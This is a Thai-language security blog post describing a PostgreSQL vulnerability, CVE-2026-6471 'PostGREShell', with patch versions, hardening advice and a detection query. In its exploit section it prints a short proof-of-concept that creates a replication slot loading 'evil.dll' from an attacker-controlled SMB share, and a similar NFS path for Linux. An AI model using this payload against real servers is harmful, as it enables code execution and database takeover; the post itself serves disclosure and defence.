เมื่อช่องโหว่ 12 ปีถูกเปิดโปง: มาทำความรู้จักกับ PostGREShell (CVE-2026–6471) ช่องโหว่ระดับวิกฤตบน PostgreSQL

โดย admin

3 นาที
แชร์
Blog Thumbnail

สวัสดีครับทุกคน กลับมาพบกับบทความจากทีมงาน Datafarm อีกครั้งนะครับ

ย้อนกลับไปไม่นานมานี้ มีข่าวใหญ่ในวงการ Cybersecurity และ Database Administration เมื่อทีมวิจัย security จาก Cyera ได้เปิดเผยช่องโหว่ระดับสำคัญของ PostgreSQL ซึ่งเป็นโอเพนซอร์สฐานข้อมูลที่นิยมที่สุดอันดับต้นๆ ของโลก (ถูกใช้โดยยักษ์ใหญ่อย่าง Netflix, Instagram, Spotify และ Uber)

ช่องโหว่นี้ถูกตั้งชื่อว่า “PostGREShell” หรือรหัส CVE-2026–6471 ที่น่าตกใจคือมันซ่อนอยู่ใน Source Code ของ PostgreSQL มายาวนานถึง 12 ปี (ตั้งแต่เวอร์ชัน 9.4 ที่ปล่อยออกมาเมื่อปี 2014) วันนี้ผมจะพามาเจาะลึกกันว่าช่องโหว่นี้คืออะไร ทำงานอย่างไร และเราจะป้องกันระบบของเราได้อย่างไรครับ

PostGREShell (CVE-2026–6471) คืออะไร?

CVE-2026–6471 เป็นช่องโหว่ประเภท Arbitrary Code Execution / Code Injection ที่เปิดโอกาสให้ผู้ใช้งานที่มีสิทธิ์เพียง REPLICATION (สิทธิ์ระดับต่ำ มักจะใช้สำหรับบัญชี Backup, CDC หรือ Data Pipeline) สามารถข้ามผ่านระบบรักษาความปลอดภัย (Security Check) และสั่ง dlopen / LoadLibrary เพื่อโหลด Shared Library (.so หรือ .dll) ที่เป็นอันตรายเข้ามารันในProcess ของ PostgreSQL ได้ทันที

ผลลัพธ์คือ แฮกเกอร์จะสามารถยกระดับสิทธิ์ (Privilege Escalation) จากบัญชีสำรองข้อมูลธรรมดา ไปเป็น PostgreSQL Superuser และยึดเครื่องเซิร์ฟเวอร์ (Remote Code Execution) ได้โดยสมบูรณ์ พร้อมทั้งฝัง Backdoor แบบถาวรได้ทันทีครับ

เจาะลึกทางเทคนิค: ทำไมช่องโหว่นี้ถึงซ่อนอยู่นานถึง 12 ปี?

ต้นเหตุของช่องโหว่นี้เกิดจากฟีเจอร์ที่เรียกว่า Logical Decoding (ฟีเจอร์สำหรับอ่านการเปลี่ยนแปลงของข้อมูลใน Write-Ahead Log หรือ WAL เพื่อส่งต่อไปยังระบบอื่น)

ปกติแล้ว PostgreSQL จะมีฟังก์ชันรักษาความปลอดภัยที่ชื่อว่า check_restricted_library_name() คอยตรวจสอบว่าผู้ใช้ทั่วไป (Non-superuser) ที่สั่ง LOAD 'library_name' จะต้องโหลดไฟล์จาก Directory ที่แอดมินอนุญาตเท่านั้น ห้ามใส่ Path แบบ Absolute หรือใช้ Directory Traversal (../) เด็ดขาด

จุดที่ผิดพลาด (The Root Cause): เมื่อผู้ใช้สร้าง Logical Replication Slot ผ่านคำสั่ง SQL:

CREATE_REPLICATION_SLOT slot_name LOGICAL 'plugin_name'

ผู้พัฒนาในอดีตลืมนำตัวแปร plugin_name เข้าผ่านฟังก์ชันตรวจสอบสิทธิ์ (check_restricted_library_name()) ทำให้ระบบไปเรียก dlopen() หรือ LoadLibrary() โดยตรงตามชื่อที่ผู้ใช้ส่งมาทันที

เทคนิคการ Exploit บนแต่ละ OS:

Windows สามารถโหลดไฟล์ผ่าน UNC Path Over SMB (Port 445) ได้โดยตรง แฮกเกอร์เพียงแค่รัน SMB Server บนเครื่องของตัวเอง แล้วส่งคำสั่งสร้าง Replication Slot ชี้ไปยัง UNC Path ของตนเอง

ตัวอย่าง PoC สั้นๆ แค่ 3 บรรทัด

conn = psycopg2.connect(..., replication="database") conn.cursor().execute('CREATE_REPLICATION_SLOT x LOGICAL "\\\\attacker_ip\\share\\evil.dll"')

PostgreSQL บน Windows จะทำการดึง evil.dll ผ่านเครือข่ายมารันใน Memory ทันทีโดยไม่ต้องเขียนไฟล์ลงบน Disk ของเป้าหมายแม้แต่ไฟล์เดียว!

Linux / macOS (ผ่าน Network Mount หรือ Local File Placement): หากระบบมีการเปิดใช้งาน autofs / NFS automount แฮกเกอร์สามารถใช้ Path Traversal เช่น /net/attacker_ip/share/evil.so เพื่อสั่งให้ระบบ Mount ไฟล์อันตรายผ่านเครือข่ายเข้ามา หรือหากแฮกเกอร์เขียนไฟล์หล่นไว้ในระบบได้แล้ว (เช่น โฟลเดอร์ /tmp) ก็สามารถใช้ Path Traversal ชี้ไปที่ไฟล์นั้นเพื่อสั่งExecute Code ได้ทันที

ทำไม CVSS 7.2 แต่ความเสี่ยงจริงกลับสูงมาก?

ในฐานข้อมูล NVD / PostgreSQL มีการให้คะแนน CVSS v3 ไว้ที่ 7.2 (Important/High) ไม่ใช่ 9.8 (Critical) เนื่องจากเงื่อนไขที่ว่า _“_ผู้โจมตีต้องมีสิทธิ์ REPLICATION อยู่แล้ว”

แต่ในมุมมองของสาย Offensive / Red Team ผมมองว่าความเสี่ยงในสภาพแวดล้อมจริง สูงมาก ด้วยเหตุผลดังนี้:

  • สิทธิ์ REPLICATION มักจะถูกปล่อยหลวม: บัญชีที่มีสิทธิ์ REPLICATION มักจะถูกแจกจ่ายให้กับเครื่องมือภายนอก เช่น สคริปต์ Backup, Kafka Connector, Debezium หรือเครื่องมือ ETL ต่างๆ ซึ่งมักจะถูกจัดเก็บบนคอนฟิกไฟล์ของแอปพลิเคชันอื่น และไม่ได้ถูกเฝ้าระวังเข้มงวดเท่ากับสิทธิ์ SUPERUSER
  • การโจมตีข้ามขอบเขต (Lateral Movement): หากแฮกเกอร์เจาะเครื่องแอปพลิเคชันรองได้ และเจอ Credential สำหรับทำ Replication แค่เพียงสิทธิ์เดียว ก็สามารถยึด Primary Database ทั้งลูกได้ทันที
  • ส่งผลกระทบย้อนหลังทุกเวอร์ชัน: กระทบ PostgreSQL เวอร์ชันตั้งแต่ 9.4 ไปจนถึงเวอร์ชันล่าสุดที่ยังไม่ได้ Patch

เวอร์ชันที่ได้รับผลกระทบ & วิธีการแก้ไข (Mitigation)

  1. อัปเดต Patch ทันที (Recommended)

ให้รีบอัปเดต PostgreSQL ไปยัง Minor Release ที่อัปเดตแก้ไขช่องโหว่นี้แล้ว:

  • PostgreSQL 18 อัปเดตเป็น 18.6 ขึ้นไป
  • PostgreSQL 17 อัปเดตเป็น 17.11 ขึ้นไป
  • PostgreSQL 16 อัปเดตเป็น 16.15 ขึ้นไป
  • PostgreSQL 15 อัปเดตเป็น 15.19 ขึ้นไป
  • PostgreSQL 14 อัปเดตเป็น 14.24 ขึ้นไป (สำหรับเวอร์ชัน 13 หรือต่ำกว่านั้น ถือว่า End-of-Life แล้ว ต้องทำการ Upgrade Major Version เท่านั้น)

2. ตรวจสอบและจำกัดสิทธิ์ (Hardening & Auditing)

ตรวจสอบว่ามี User คนไหนได้สิทธิ์ REPLICATION อยู่บ้าง ด้วยคำสั่ง:

SELECT usename FROM pg_user WHERE rolreplication = true;

  • หากพบ User ที่ไม่มีความจำเป็น ให้ยกเลิกสิทธิ์ทันที
  • หากไม่มีความจำเป็นต้องใช้ Logical Replication ให้พิจารณาปิดฟีเจอร์นี้โดยการปรับค่า wal_level ใน postgresql.conf ไม่ให้เป็น logical
  • Network Segmentation: บล็อกการเชื่อมต่อ Outbound พอร์ต SMB (445) และ NFS (2049) จาก Database Server ออกไปยังภายนอก เพื่อป้องกันเทคนิค UNC Path Injection บน Windows และ NFS Automount บน Linux

3. การตรวจสอบร่องรอยการโจมตี (Threat Hunting / Detection)

สามารถตั้ง query ตรวจสอบชื่อ Plugin ที่ถูกสร้างใน pg_replication_slots ว่ามีลักษณะ Directory Traversal หรือไม่:

SELECT slot_name, plugin FROM pg_replication_slots WHERE plugin LIKE '%/%' OR plugin LIKE '%\%';

สรุป

กรณีของ PostGREShell (CVE-2026–6471) เป็นตัวอย่างคลาสสิกที่เตือนใจพวกเราว่า ช่องโหว่ความปลอดภัยมักจะซ่อนอยู่ในส่วนต่อขยาย (Plugin/Extension) หรือการเช็คสิทธิ์ที่ไม่ครอบคลุมทุก API และบัญชีที่คิดว่า “มีสิทธิ์แค่สำรองข้อมูล” ก็อาจถูกใช้เป็นช่องทางในการยึดระบบได้หากขาดการตรวจสอบที่ดี

หากใครมีคำถามหรือข้อสงสัย สามารถคอมเมนต์พูดคุยกับพวกเราได้เลยครับ

Reference:

Cyera Research (Original Researcher & Vulnerability Discrever):

PostgreSQL Official Security Advisory:

NIST National Vulnerability Database (NVD):

SecPod Security Research:

The Hacker News & SecurityWeek Analysis:

แชร์
กลับไปด้านบน

บทความที่เกี่ยวข้อง

อัปเดตข้อมูลด้านไซเบอร์ ทุกสัปดาห์
รับข่าวสารความรู้เชิงลึกเกี่ยวกับความปลอดภัยไซเบอร์จากดาต้าฟาร์มก่อนใคร

ฟีเจอร์นี้จะเปิดให้ใช้งานเร็ว ๆ นี้ โปรดติดตาม

ส่งสัปดาห์ละ 1 ครั้ง ไม่มีสแปม ยกเลิกการรับข่าวสารได้ทุกเมื่อ